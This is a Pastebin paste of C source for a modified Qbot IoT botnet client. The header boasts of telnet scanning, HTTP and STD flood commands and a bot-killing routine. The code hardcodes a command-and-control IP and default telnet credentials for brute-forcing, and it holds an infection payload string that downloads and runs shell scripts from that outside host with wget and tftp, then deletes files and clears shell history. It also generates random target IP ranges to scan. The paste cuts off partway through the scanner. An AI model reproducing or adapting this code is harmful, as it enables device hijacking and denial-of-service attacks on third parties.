Advertisement
Cumfort

Bones Build 2.5 (ENJOY!!)

Sep 5th, 2017
390
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 69.64 KB | None | 0 0
  1. /*
  2. BUILD 2.5
  3. Qbot Modified by Jonah
  4. private void hackashit()
  5. {
  6. printf("Main Shit added\r\n");
  7. system("Look at The telnet scanner... Way better execution and faster");
  8. system("Working STD");//the std flood you see randomizing the strings that a few people have -say thanks to cheats for it
  9. system("Working HTTP Flood");
  10. system("Netis scanner added");//NEW!!!!!
  11. sleep(8);
  12. printf("lil shit added");
  13. system("Modified Botkill");
  14. system("Looping Payload Function");//PRETTY ASS
  15. system("Device Cleaner");
  16. system("New Get build");
  17. system("added python scanner lol");
  18. }
  19. //btw a lil side note the sh command is "MOVE"
  20. //another note ghp flood command is "!* HTTP cancer.org GET/POST/HEAD PORT PATH TIME POWER" SO LIKE THIS
  21. "!* HTTP cancer.org GET 80 / 60 200"
  22. //THE KILL ATTACK COMMAND IS "!* STOP"
  23. */
  24. #include <stdlib.h>
  25. #include <stdarg.h>
  26. #include <stdio.h>
  27. #include <sys/socket.h>
  28. #include <sys/types.h>
  29. #include <netinet/in.h>
  30. #include <arpa/inet.h>
  31. #include <netdb.h>
  32. #include <signal.h>
  33. #include <strings.h>
  34. #include <string.h>
  35. #include <sys/utsname.h>
  36. #include <unistd.h>
  37. #include <fcntl.h>
  38. #include <errno.h>
  39. #include <netinet/ip.h>
  40. #include <netinet/udp.h>
  41. #include <netinet/tcp.h>
  42. #include <sys/wait.h>
  43. #include <sys/ioctl.h>
  44. #include <net/if.h>
  45. #include <time.h>
  46. #include <limits.h>
  47. #define PR_SET_NAME 15
  48. #define SERVER_LIST_SIZE (sizeof(hekkertelnet) / sizeof(unsigned char *))
  49. #define PAD_RIGHT 1
  50. #define PAD_ZERO 2
  51. #define PRINT_BUF_LEN 12
  52. #define CMD_IAC 255
  53. #define CMD_WILL 251
  54. #define CMD_WONT 252
  55. #define CMD_DO 253
  56. #define CMD_DONT 254
  57. #define OPT_SGA 3
  58. #define STD2_SIZE 75
  59. #define BUFFER_SIZE 1024
  60. #define PHI 0x9e3779b9
  61. #define VERSION "Hella"
  62. #define NETIS "AA\x00\x00AAAA"
  63. unsigned char *hekkertelnet[] = { "94.177.170.85:23" };
  64. int Server_Botport = 23;
  65. char *usernames[] = {
  66. "telnet\0",
  67. "root\0",
  68. "root\0"
  69. };
  70. char *passwords[] = {
  71. "telnet\0",
  72. "root\0",
  73. "\0"
  74. };
  75. char *hvgsgd = "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://94.177.170.85/bins.sh; chmod 777 bins.sh; sh bins.sh; tftp 94.177.170.85 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g 94.177.170.85 ; chmod 777 tftp2.sh; sh tftp2.sh; rm -rf bins.sh tftp1.sh tftp2.sh; rm -rf *;history -c\r\n";
  76. char* advances[] = {":", "ogin", "sername", "assword", (char*)0};//advances so if it says any of the following itll try a passwd or user
  77. char* fails[] = {"nvalid", "ailed", "ncorrect", "enied", "rror", "oodbye", "bad", (char*)0};// ill kms if i see this
  78. char* successes[] = {"BusyBox", "$", "#", (char*)0};//if it sees this itll send the payload
  79. char* advances2[] = {"nvalid", "ailed", "ncorrect", "enied", "rror", "oodbye", "bad", "BusyBox", "$", "#", (char*)0};
  80. int initConnection();
  81. int getBogos(unsigned char *bogomips);
  82. int getCores();
  83. int userID = 1;
  84. int getCountry(unsigned char *buf, int bufsize);
  85. void makeRandomStr(unsigned char *buf, int length);
  86. int HackerPrint(int sock, char *formatStr, ...);
  87. char *inet_ntoa(struct in_addr in);
  88. int D1ckSucka = 0, D1ckSuckaz = -1;
  89. uint32_t *pids;
  90. uint32_t scanPid;
  91. uint32_t ngPid;
  92. uint64_t numpids = 0;
  93. struct in_addr ourIP;
  94. unsigned char macAddress[6] = {0};
  95. static uint32_t Q[4096], c = 362436;
  96. void init_rand(uint32_t x)
  97. {
  98. int i;
  99. Q[0] = x;
  100. Q[1] = x + PHI;
  101. Q[2] = x + PHI + PHI;
  102. for (i = 3; i < 4096; i++) Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
  103. }
  104. uint32_t rand_cmwc(void)
  105. {
  106. uint64_t t, a = 18782LL;
  107. static uint32_t i = 4095;
  108. uint32_t x, r = 0xfffffffe;
  109. i = (i + 1) & 4095;
  110. t = a * Q[i] + c;
  111. c = (uint32_t)(t >> 32);
  112. x = t + c;
  113. if (x < c) {
  114. x++;
  115. c++;
  116. }
  117. return (Q[i] = r - x);
  118. }
  119. void trim(char *str)
  120. {
  121. int i;
  122. int begin = 0;
  123. int end = strlen(str) - 1;
  124. while (isspace(str[begin])) begin++;
  125. while ((end >= begin) && isspace(str[end])) end--;
  126. for (i = begin; i <= end; i++) str[i - begin] = str[i];
  127. str[i - begin] = '\0';
  128. }
  129. static void printchar(unsigned char **str, int c)
  130. {
  131. if (str) {
  132. **str = c;
  133. ++(*str);
  134. }
  135. else (void)write(1, &c, 1);
  136. }
  137. static int prints(unsigned char **out, const unsigned char *string, int width, int pad)
  138. {
  139. register int pc = 0, padchar = ' ';
  140. if (width > 0) {
  141. register int len = 0;
  142. register const unsigned char *ptr;
  143. for (ptr = string; *ptr; ++ptr) ++len;
  144. if (len >= width) width = 0;
  145. else width -= len;
  146. if (pad & PAD_ZERO) padchar = '0';
  147. }
  148. if (!(pad & PAD_RIGHT)) {
  149. for ( ; width > 0; --width) {
  150. printchar (out, padchar);
  151. ++pc;
  152. }
  153. }
  154. for ( ; *string ; ++string) {
  155. printchar (out, *string);
  156. ++pc;
  157. }
  158. for ( ; width > 0; --width) {
  159. printchar (out, padchar);
  160. ++pc;
  161. }
  162. return pc;
  163. }
  164. static int printi(unsigned char **out, int i, int b, int sg, int width, int pad, int letbase)
  165. {
  166. unsigned char print_buf[PRINT_BUF_LEN];
  167. register unsigned char *s;
  168. register int t, neg = 0, pc = 0;
  169. register unsigned int u = i;
  170. if (i == 0) {
  171. print_buf[0] = '0';
  172. print_buf[1] = '\0';
  173. return prints (out, print_buf, width, pad);
  174. }
  175. if (sg && b == 10 && i < 0) {
  176. neg = 1;
  177. u = -i;
  178. }
  179. s = print_buf + PRINT_BUF_LEN-1;
  180. *s = '\0';
  181. while (u) {
  182. t = u % b;
  183. if( t >= 10 )
  184. t += letbase - '0' - 10;
  185. *--s = t + '0';
  186. u /= b;
  187. }
  188. if (neg) {
  189. if( width && (pad & PAD_ZERO) ) {
  190. printchar (out, '-');
  191. ++pc;
  192. --width;
  193. }
  194. else {
  195. *--s = '-';
  196. }
  197. }
  198. return pc + prints (out, s, width, pad);
  199. }
  200. static int print(unsigned char **out, const unsigned char *format, va_list args )
  201. {
  202. register int width, pad;
  203. register int pc = 0;
  204. unsigned char scr[2];
  205. for (; *format != 0; ++format) {
  206. if (*format == '%') {
  207. ++format;
  208. width = pad = 0;
  209. if (*format == '\0') break;
  210. if (*format == '%') goto out;
  211. if (*format == '-') {
  212. ++format;
  213. pad = PAD_RIGHT;
  214. }
  215. while (*format == '0') {
  216. ++format;
  217. pad |= PAD_ZERO;
  218. }
  219. for ( ; *format >= '0' && *format <= '9'; ++format) {
  220. width *= 10;
  221. width += *format - '0';
  222. }
  223. if( *format == 's' ) {
  224. register char *s = (char *)va_arg( args, int );
  225. pc += prints (out, s?s:"(null)", width, pad);
  226. continue;
  227. }
  228. if( *format == 'd' ) {
  229. pc += printi (out, va_arg( args, int ), 10, 1, width, pad, 'a');
  230. continue;
  231. }
  232. if( *format == 'x' ) {
  233. pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'a');
  234. continue;
  235. }
  236. if( *format == 'X' ) {
  237. pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'A');
  238. continue;
  239. }
  240. if( *format == 'u' ) {
  241. pc += printi (out, va_arg( args, int ), 10, 0, width, pad, 'a');
  242. continue;
  243. }
  244. if( *format == 'c' ) {
  245. scr[0] = (unsigned char)va_arg( args, int );
  246. scr[1] = '\0';
  247. pc += prints (out, scr, width, pad);
  248. continue;
  249. }
  250. }
  251. else {
  252. out:
  253. printchar (out, *format);
  254. ++pc;
  255. }
  256. }
  257. if (out) **out = '\0';
  258. va_end( args );
  259. return pc;
  260. }
  261. int zprintf(const unsigned char *format, ...)
  262. {
  263. va_list args;
  264. va_start( args, format );
  265. return print( 0, format, args );
  266. }
  267. int szprintf(unsigned char *out, const unsigned char *format, ...)
  268. {
  269. va_list args;
  270. va_start( args, format );
  271. return print( &out, format, args );
  272. }
  273. int HackerPrint(int sock, char *formatStr, ...)
  274. {
  275. unsigned char *textBuffer = malloc(2048);
  276. memset(textBuffer, 0, 2048);
  277. char *orig = textBuffer;
  278. va_list args;
  279. va_start(args, formatStr);
  280. print(&textBuffer, formatStr, args);
  281. va_end(args);
  282. orig[strlen(orig)] = '\n';
  283. //zprintf("buf: %s\n", orig);
  284. int q = send(sock,orig,strlen(orig), MSG_NOSIGNAL);
  285. free(orig);
  286. return q;
  287. }
  288. static int *fdopen_pids;
  289. int fdpopen(unsigned char *program, register unsigned char *type)
  290. {
  291. register int iop;
  292. int pdes[2], fds, pid;
  293. if (*type != 'r' && *type != 'w' || type[1]) return -1;
  294. if (pipe(pdes) < 0) return -1;
  295. if (fdopen_pids == NULL) {
  296. if ((fds = getdtablesize()) <= 0) return -1;
  297. if ((fdopen_pids = (int *)malloc((unsigned int)(fds * sizeof(int)))) == NULL) return -1;
  298. memset((unsigned char *)fdopen_pids, 0, fds * sizeof(int));
  299. }
  300. switch (pid = vfork())
  301. {
  302. case -1:
  303. close(pdes[0]);
  304. close(pdes[1]);
  305. return -1;
  306. case 0:
  307. if (*type == 'r') {
  308. if (pdes[1] != 1) {
  309. dup2(pdes[1], 1);
  310. close(pdes[1]);
  311. }
  312. close(pdes[0]);
  313. } else {
  314. if (pdes[0] != 0) {
  315. (void) dup2(pdes[0], 0);
  316. (void) close(pdes[0]);
  317. }
  318. (void) close(pdes[1]);
  319. }
  320. execl("/bin/sh", "sh", "-c", program, NULL);
  321. _exit(127);
  322. }
  323. if (*type == 'r') {
  324. iop = pdes[0];
  325. (void) close(pdes[1]);
  326. } else {
  327. iop = pdes[1];
  328. (void) close(pdes[0]);
  329. }
  330. fdopen_pids[iop] = pid;
  331. return (iop);
  332. }
  333. int fdpclose(int iop)
  334. {
  335. register int fdes;
  336. sigset_t omask, nmask;
  337. int pstat;
  338. register int pid;
  339. if (fdopen_pids == NULL || fdopen_pids[iop] == 0) return (-1);
  340. (void) close(iop);
  341. sigemptyset(&nmask);
  342. sigaddset(&nmask, SIGINT);
  343. sigaddset(&nmask, SIGQUIT);
  344. sigaddset(&nmask, SIGHUP);
  345. (void) sigprocmask(SIG_BLOCK, &nmask, &omask);
  346. do {
  347. pid = waitpid(fdopen_pids[iop], (int *) &pstat, 0);
  348. } while (pid == -1 && errno == EINTR);
  349. (void) sigprocmask(SIG_SETMASK, &omask, NULL);
  350. fdopen_pids[fdes] = 0;
  351. return (pid == -1 ? -1 : WEXITSTATUS(pstat));
  352. }
  353. unsigned char *fdgets(unsigned char *buffer, int bufferSize, int fd)
  354. {
  355. int got = 1, total = 0;
  356. while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  357. return got == 0 ? NULL : buffer;
  358. }
  359. static const long hextable[] = {
  360. [0 ... 255] = -1,
  361. ['0'] = 0, 1, 2, 3, 4, 5, 6, 7, 8, 9,
  362. ['A'] = 10, 11, 12, 13, 14, 15,
  363. ['a'] = 10, 11, 12, 13, 14, 15
  364. };
  365. long parseHex(unsigned char *hex)
  366. {
  367. long ret = 0;
  368. while (*hex && ret >= 0) ret = (ret << 4) | hextable[*hex++];
  369. return ret;
  370. }
  371. int wildString(const unsigned char* pattern, const unsigned char* string) {
  372. switch(*pattern)
  373. {
  374. case '\0': return *string;
  375. case '*': return !(!wildString(pattern+1, string) || *string && !wildString(pattern, string+1));
  376. case '?': return !(*string && !wildString(pattern+1, string+1));
  377. default: return !((toupper(*pattern) == toupper(*string)) && !wildString(pattern+1, string+1));
  378. }
  379. }
  380. int getHost(unsigned char *toGet, struct in_addr *i)
  381. {
  382. struct hostent *h;
  383. if((i->s_addr = inet_addr(toGet)) == -1) return 1;
  384. return 0;
  385. }
  386. void uppercase(unsigned char *str)
  387. {
  388. while(*str) { *str = toupper(*str); str++; }
  389. }
  390. int getBogos(unsigned char *bogomips)
  391. {
  392. int cmdline = open("/proc/cpuinfo", O_RDONLY);
  393. char linebuf[4096];
  394. while(fdgets(linebuf, 4096, cmdline) != NULL)
  395. {
  396. uppercase(linebuf);
  397. if(strstr(linebuf, "BOGOMIPS") == linebuf)
  398. {
  399. unsigned char *pos = linebuf + 8;
  400. while(*pos == ' ' || *pos == '\t' || *pos == ':') pos++;
  401. while(pos[strlen(pos)-1] == '\r' || pos[strlen(pos)-1] == '\n') pos[strlen(pos)-1]=0;
  402. if(strchr(pos, '.') != NULL) *strchr(pos, '.') = 0x00;
  403. strcpy(bogomips, pos);
  404. close(cmdline);
  405. return 0;
  406. }
  407. memset(linebuf, 0, 4096);
  408. }
  409. close(cmdline);
  410. return 1;
  411. }
  412. int getCores()
  413. {
  414. int totalcores = 0;
  415. int cmdline = open("/proc/cpuinfo", O_RDONLY);
  416. char linebuf[4096];
  417. while(fdgets(linebuf, 4096, cmdline) != NULL)
  418. {
  419. uppercase(linebuf);
  420. if(strstr(linebuf, "BOGOMIPS") == linebuf) totalcores++;
  421. memset(linebuf, 0, 4096);
  422. }
  423. close(cmdline);
  424. return totalcores;
  425. }
  426. void makeRandomStr(unsigned char *buf, int length)
  427. {
  428. int i = 0;
  429. for(i = 0; i < length; i++) buf[i] = (rand_cmwc()%(91-65))+65;
  430. }
  431. int recvLine(int socket, unsigned char *buf, int bufsize)
  432. {
  433. memset(buf, 0, bufsize);
  434. fd_set myset;
  435. struct timeval tv;
  436. tv.tv_sec = 30;
  437. tv.tv_usec = 0;
  438. FD_ZERO(&myset);
  439. FD_SET(socket, &myset);
  440. int selectRtn, retryCount;
  441. if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {
  442. while(retryCount < 10)
  443. {
  444. HackerPrint(D1ckSucka, "PING");
  445. tv.tv_sec = 30;
  446. tv.tv_usec = 0;
  447. FD_ZERO(&myset);
  448. FD_SET(socket, &myset);
  449. if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {
  450. retryCount++;
  451. continue;
  452. }
  453. break;
  454. }
  455. }
  456. unsigned char tmpchr;
  457. unsigned char *cp;
  458. int count = 0;
  459. cp = buf;
  460. while(bufsize-- > 1)
  461. {
  462. if(recv(D1ckSucka, &tmpchr, 1, 0) != 1) {
  463. *cp = 0x00;
  464. return -1;
  465. }
  466. *cp++ = tmpchr;
  467. if(tmpchr == '\n') break;
  468. count++;
  469. }
  470. *cp = 0x00;
  471. // zprintf("recv: %s\n", cp);
  472. return count;
  473. }
  474. int hostname_to_ip(char * hostname , char* ip)
  475. {
  476. struct hostent *he;
  477. struct in_addr **addr_list;
  478. int i;
  479. if ( (he = gethostbyname( hostname ) ) == NULL)
  480. {
  481. // get the host info
  482. herror("gethostbyname");
  483. return 1;
  484. }
  485. addr_list = (struct in_addr **) he->h_addr_list;
  486. for(i = 0; addr_list[i] != NULL; i++)
  487. {
  488. //Return the first one;
  489. strcpy(ip , inet_ntoa(*addr_list[i]) );
  490. return 0;
  491. }
  492. return 1;
  493. }
  494. int connectTimeout(int fd, char *host, int port, int timeout)
  495. {
  496. struct sockaddr_in dest_addr;
  497. fd_set myset;
  498. struct timeval tv;
  499. socklen_t lon;
  500. int valopt;
  501. long arg = fcntl(fd, F_GETFL, NULL);
  502. arg |= O_NONBLOCK;
  503. fcntl(fd, F_SETFL, arg);
  504. dest_addr.sin_family = AF_INET;
  505. dest_addr.sin_port = htons(port);
  506. if(getHost(host, &dest_addr.sin_addr)) return 0;
  507. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  508. int res = connect(fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  509. if (res < 0) {
  510. if (errno == EINPROGRESS) {
  511. tv.tv_sec = timeout;
  512. tv.tv_usec = 0;
  513. FD_ZERO(&myset);
  514. FD_SET(fd, &myset);
  515. if (select(fd+1, NULL, &myset, NULL, &tv) > 0) {
  516. lon = sizeof(int);
  517. getsockopt(fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  518. if (valopt) return 0;
  519. }
  520. else return 0;
  521. }
  522. else return 0;
  523. }
  524. arg = fcntl(fd, F_GETFL, NULL);
  525. arg &= (~O_NONBLOCK);
  526. fcntl(fd, F_SETFL, arg);
  527. return 1;
  528. }
  529. int listFork()
  530. {
  531. uint32_t parent, *newpids, i;
  532. parent = fork();
  533. if (parent <= 0) return parent;
  534. numpids++;
  535. newpids = (uint32_t*)malloc((numpids + 1) * 4);
  536. for (i = 0; i < numpids - 1; i++) newpids[i] = pids[i];
  537. newpids[numpids - 1] = parent;
  538. free(pids);
  539. pids = newpids;
  540. return parent;
  541. }
  542. int negotiate(int sock, unsigned char *buf, int len)
  543. {
  544. unsigned char c;
  545. switch (buf[1]) {
  546. case CMD_IAC: /*dropped an extra 0xFF wh00ps*/ return 0;
  547. case CMD_WILL:
  548. case CMD_WONT:
  549. case CMD_DO:
  550. case CMD_DONT:
  551. c = CMD_IAC;
  552. send(sock, &c, 1, MSG_NOSIGNAL);
  553. if (CMD_WONT == buf[1]) c = CMD_DONT;
  554. else if (CMD_DONT == buf[1]) c = CMD_WONT;
  555. else if (OPT_SGA == buf[1]) c = (buf[1] == CMD_DO ? CMD_WILL : CMD_DO);
  556. else c = (buf[1] == CMD_DO ? CMD_WONT : CMD_DONT);
  557. send(sock, &c, 1, MSG_NOSIGNAL);
  558. send(sock, &(buf[2]), 1, MSG_NOSIGNAL);
  559. break;
  560. default:
  561. break;
  562. }
  563. return 0;
  564. }
  565. int matchPrompt(char *bufStr)
  566. {
  567. char *prompts = ":>%$#\0";
  568. int bufLen = strlen(bufStr);
  569. int i, q = 0;
  570. for(i = 0; i < strlen(prompts); i++)
  571. {
  572. while(bufLen > q && (*(bufStr + bufLen - q) == 0x00 || *(bufStr + bufLen - q) == ' ' || *(bufStr + bufLen - q) == '\r' || *(bufStr + bufLen - q) == '\n')) q++;
  573. if(*(bufStr + bufLen - q) == prompts[i]) return 1;
  574. }
  575. return 0;
  576. }
  577. int readUntil(int fd, char *toFind, int matchLePrompt, int timeout, int timeoutusec, char *buffer, int bufSize, int initialIndex)
  578. {
  579. int bufferUsed = initialIndex, got = 0, found = 0;
  580. fd_set myset;
  581. struct timeval tv;
  582. tv.tv_sec = timeout;
  583. tv.tv_usec = timeoutusec;
  584. unsigned char *initialRead = NULL;
  585. while(bufferUsed + 2 < bufSize && (tv.tv_sec > 0 || tv.tv_usec > 0))
  586. {
  587. FD_ZERO(&myset);
  588. FD_SET(fd, &myset);
  589. if (select(fd+1, &myset, NULL, NULL, &tv) < 1) break;
  590. initialRead = buffer + bufferUsed;
  591. got = recv(fd, initialRead, 1, 0);
  592. if(got == -1 || got == 0) return 0;
  593. bufferUsed += got;
  594. if(*initialRead == 0xFF)
  595. {
  596. got = recv(fd, initialRead + 1, 2, 0);
  597. if(got == -1 || got == 0) return 0;
  598. bufferUsed += got;
  599. if(!negotiate(fd, initialRead, 3)) return 0;
  600. } else {
  601. if(strstr(buffer, toFind) != NULL || (matchLePrompt && matchPrompt(buffer))) { found = 1; break; }
  602. }
  603. }
  604. if(found) return 1;
  605. return 0;
  606. }
  607. static uint8_t ipState[5] = {0};
  608. in_addr_t HackerScan2()
  609. {
  610. ipState[1] = 0;
  611. ipState[2] = 0;
  612. ipState[3] = 0;
  613. ipState[4] = 0;
  614. ipState[1] = rand() % 255;
  615. ipState[2] = rand() % 255;
  616. ipState[3] = rand() % 255;
  617. ipState[4] = rand() % 255;
  618. int randnum = rand() % 208;
  619. char ip[16];
  620. if(randnum == 0)
  621. {
  622. szprintf(ip, "112.5.%d.%d", ipState[3], ipState[4]);
  623. }
  624. if(randnum == 1)
  625. {
  626. szprintf(ip, "117.165.%d.%d", ipState[3], ipState[4]);
  627. }
  628. if(randnum == 2)
  629. {
  630. szprintf(ip, "85.3.%d.%d", ipState[3], ipState[4]);
  631. }
  632. if(randnum == 3)
  633. {
  634. szprintf(ip, "37.158.%d.%d", ipState[3], ipState[4]);
  635. }
  636. if(randnum == 4)
  637. {
  638. szprintf(ip, "95.9.%d.%d", ipState[3], ipState[4]);
  639. }
  640. if(randnum == 5)
  641. {
  642. szprintf(ip, "41.252.%d.%d", ipState[3], ipState[4]);
  643. }
  644. if(randnum == 6)
  645. {
  646. szprintf(ip, "58.71.%d.%d", ipState[3], ipState[4]);
  647. }
  648. if(randnum == 7)
  649. {
  650. szprintf(ip, "104.55.%d.%d", ipState[3], ipState[4]);
  651. }
  652. if(randnum == 8)
  653. {
  654. szprintf(ip, "78.186.%d.%d", ipState[3], ipState[4]);
  655. }
  656. if(randnum == 9)
  657. {
  658. szprintf(ip, "78.189.%d.%d", ipState[3], ipState[4]);
  659. }
  660. if(randnum == 10)
  661. {
  662. szprintf(ip, "221.120.%d.%d", ipState[3], ipState[4]);
  663. }
  664. if(randnum == 11)
  665. {
  666. szprintf(ip, "88.5.%d.%d", ipState[3], ipState[4]);
  667. }
  668. if(randnum == 12)
  669. {
  670. szprintf(ip, "41.254.%d.%d", ipState[3], ipState[4]);
  671. }
  672. if(randnum == 13)
  673. {
  674. szprintf(ip, "103.20.%d.%d", ipState[3], ipState[4]);
  675. }
  676. if(randnum == 14)
  677. {
  678. szprintf(ip, "103.47.%d.%d", ipState[3], ipState[4]);
  679. }
  680. if(randnum == 15)
  681. {
  682. szprintf(ip, "103.57.%d.%d", ipState[3], ipState[4]);
  683. }
  684. if(randnum == 16)
  685. {
  686. szprintf(ip, "45.117.%d.%d", ipState[3], ipState[4]);
  687. }
  688. if(randnum == 17)
  689. {
  690. szprintf(ip, "101.51.%d.%d", ipState[3], ipState[4]);
  691. }
  692. if(randnum == 18)
  693. {
  694. szprintf(ip, "137.59.%d.%d", ipState[3], ipState[4]);
  695. }
  696. if(randnum == 19)
  697. {
  698. szprintf(ip, "1.56.%d.%d", ipState[3], ipState[4]);
  699. }
  700. if(randnum == 20)
  701. {
  702. szprintf(ip, "1.188.%d.%d", ipState[3], ipState[4]);
  703. }
  704. if(randnum == 21)
  705. {
  706. szprintf(ip, "14.204.%d.%d", ipState[3], ipState[4]);
  707. }
  708. if(randnum == 22)
  709. {
  710. szprintf(ip, "27.0.%d.%d", ipState[3], ipState[4]);
  711. }
  712. if(randnum == 23)
  713. {
  714. szprintf(ip, "27.8.%d.%d", ipState[3], ipState[4]);
  715. }
  716. if(randnum == 24)
  717. {
  718. szprintf(ip, "27.50.%d.%d", ipState[3], ipState[4]);
  719. }
  720. if(randnum == 25)
  721. {
  722. szprintf(ip, "27.54.%d.%d", ipState[3], ipState[4]);
  723. }
  724. if(randnum == 26)
  725. {
  726. szprintf(ip, "27.98.%d.%d", ipState[3], ipState[4]);
  727. }
  728. if(randnum == 27)
  729. {
  730. szprintf(ip, "27.112.%d.%d", ipState[3], ipState[4]);
  731. }
  732. if(randnum == 28)
  733. {
  734. szprintf(ip, "27.192.%d.%d", ipState[3], ipState[4]);
  735. }
  736. if(randnum == 29)
  737. {
  738. szprintf(ip, "36.32.%d.%d", ipState[3], ipState[4]);
  739. }
  740. if(randnum == 30)
  741. {
  742. szprintf(ip, "36.248.%d.%d", ipState[3], ipState[4]);
  743. }
  744. if(randnum == 31)
  745. {
  746. szprintf(ip, "39.64.%d.%d", ipState[3], ipState[4]);
  747. }
  748. if(randnum == 32)
  749. {
  750. szprintf(ip, "42.4.%d.%d", ipState[3], ipState[4]);
  751. }
  752. if(randnum == 33)
  753. {
  754. szprintf(ip, "42.48.%d.%d", ipState[3], ipState[4]);
  755. }
  756. if(randnum == 34)
  757. {
  758. szprintf(ip, "42.52.%d.%d", ipState[3], ipState[4]);
  759. }
  760. if(randnum == 35)
  761. {
  762. szprintf(ip, "42.56.%d.%d", ipState[3], ipState[4]);
  763. }
  764. if(randnum == 36)
  765. {
  766. szprintf(ip, "42.63.%d.%d", ipState[3], ipState[4]);
  767. }
  768. if(randnum == 37)
  769. {
  770. szprintf(ip, "42.84.%d.%d", ipState[3], ipState[4]);
  771. }
  772. if(randnum == 38)
  773. {
  774. szprintf(ip, "42.176.%d.%d", ipState[3], ipState[4]);
  775. }
  776. if(randnum == 39)
  777. {
  778. szprintf(ip, "42.224.%d.%d", ipState[3], ipState[4]);
  779. }
  780. if(randnum == 40)
  781. {
  782. szprintf(ip, "42.176.%d.%d", ipState[3], ipState[4]);
  783. }
  784. if(randnum == 41)
  785. {
  786. szprintf(ip, "43.253.%d.%d", ipState[3], ipState[4]);
  787. }
  788. if(randnum == 42)
  789. {
  790. szprintf(ip, "43.230.%d.%d", ipState[3], ipState[4]);
  791. }
  792. if(randnum == 43)
  793. {
  794. szprintf(ip, "163.53.%d.%d", ipState[3], ipState[4]);
  795. }
  796. if(randnum == 44)
  797. {
  798. szprintf(ip, "43.230.%d.%d", ipState[3], ipState[4]);
  799. }
  800. if(randnum == 45)
  801. {
  802. szprintf(ip, "62.252.%d.%d", ipState[3], ipState[4]);
  803. }
  804. if(randnum == 46)
  805. {
  806. szprintf(ip, "43.245.%d.%d", ipState[3], ipState[4]);
  807. }
  808. if(randnum == 47)
  809. {
  810. szprintf(ip, "62.255.%d.%d", ipState[3], ipState[4]);
  811. }
  812. if(randnum == 48)
  813. {
  814. szprintf(ip, "123.25.%d.%d", ipState[3], ipState[4]);
  815. }
  816. if(randnum == 49)
  817. {
  818. szprintf(ip, "103.54.%d.%d", ipState[3], ipState[4]);
  819. }
  820. if(randnum == 50)
  821. {
  822. szprintf(ip, "27.255.%d.%d", ipState[3], ipState[4]);
  823. }
  824. if(randnum == 51)
  825. {
  826. szprintf(ip, "103.204.%d.%d", ipState[3], ipState[4]);
  827. }
  828. if(randnum == 52)
  829. {
  830. szprintf(ip, "123.24.%d.%d", ipState[3], ipState[4]);
  831. }
  832. if(randnum ==53)
  833. {
  834. szprintf(ip, "113.191.%d.%d", ipState[3], ipState[4]);
  835. }
  836. if(randnum == 54)
  837. {
  838. szprintf(ip, "81.100.%d.%d", ipState[3], ipState[4]);
  839. }
  840. if(randnum == 55)
  841. {
  842. szprintf(ip, "113.188.%d.%d", ipState[3], ipState[4]);
  843. }
  844. if(randnum == 56)
  845. {
  846. szprintf(ip, "113.189.%d.%d", ipState[3], ipState[4]);
  847. }
  848. if(randnum == 57)
  849. {
  850. szprintf(ip, "94.174.%d.%d", ipState[3], ipState[4]);
  851. }
  852. if(randnum == 58)
  853. {
  854. szprintf(ip, "14.160.%d.%d", ipState[3], ipState[4]);
  855. }
  856. if(randnum == 59)
  857. {
  858. szprintf(ip, "14.161.%d.%d", ipState[3], ipState[4]);
  859. }
  860. if(randnum == 60)
  861. {
  862. szprintf(ip, "14.162.%d.%d", ipState[3], ipState[4]);
  863. }
  864. if(randnum == 61)
  865. {
  866. szprintf(ip, "14.163.%d.%d", ipState[3], ipState[4]);
  867. }
  868. if(randnum == 62)
  869. {
  870. szprintf(ip, "14.164.%d.%d", ipState[3], ipState[4]);
  871. }
  872. if(randnum == 63)
  873. {
  874. szprintf(ip, "14.165.%d.%d", ipState[3], ipState[4]);
  875. }
  876. if(randnum == 64)
  877. {
  878. szprintf(ip, "14.166.%d.%d", ipState[3], ipState[4]);
  879. }
  880. if(randnum == 65)
  881. {
  882. szprintf(ip, "14.167.%d.%d", ipState[3], ipState[4]);
  883. }
  884. if(randnum == 66)
  885. {
  886. szprintf(ip, "14.168.%d.%d", ipState[3], ipState[4]);
  887. }
  888. if(randnum == 67)
  889. {
  890. szprintf(ip, "14.169.%d.%d", ipState[3], ipState[4]);
  891. }
  892. if(randnum == 68)
  893. {
  894. szprintf(ip, "14.170.%d.%d", ipState[3], ipState[4]);
  895. }
  896. if(randnum == 69)
  897. {
  898. szprintf(ip, "14.171.%d.%d", ipState[3], ipState[4]);
  899. }
  900. if(randnum == 70)
  901. {
  902. szprintf(ip, "14.172.%d.%d", ipState[3], ipState[4]);
  903. }
  904. if(randnum == 71)
  905. {
  906. szprintf(ip, "14.173.%d.%d", ipState[3], ipState[4]);
  907. }
  908. if(randnum == 72)
  909. {
  910. szprintf(ip, "14.174.%d.%d", ipState[3], ipState[4]);
  911. }
  912. if(randnum == 73)
  913. {
  914. szprintf(ip, "14.175.%d.%d", ipState[3], ipState[4]);
  915. }
  916. if(randnum == 74)
  917. {
  918. szprintf(ip, "14.176.%d.%d", ipState[3], ipState[4]);
  919. }
  920. if(randnum == 75)
  921. {
  922. szprintf(ip, "14.177.%d.%d", ipState[3], ipState[4]);
  923. }
  924. if(randnum == 76)
  925. {
  926. szprintf(ip, "14.178.%d.%d", ipState[3], ipState[4]);
  927. }
  928. if(randnum == 77)
  929. {
  930. szprintf(ip, "14.179.%d.%d", ipState[3], ipState[4]);
  931. }
  932. if(randnum == 78)
  933. {
  934. szprintf(ip, "14.180.%d.%d", ipState[3], ipState[4]);
  935. }
  936. if(randnum == 79)
  937. {
  938. szprintf(ip, "14.181.%d.%d", ipState[3], ipState[4]);
  939. }
  940. if(randnum == 80)
  941. {
  942. szprintf(ip, "14.182.%d.%d", ipState[3], ipState[4]);
  943. }
  944. if(randnum == 81)
  945. {
  946. szprintf(ip, "14.183.%d.%d", ipState[3], ipState[4]);
  947. }
  948. if(randnum == 82)
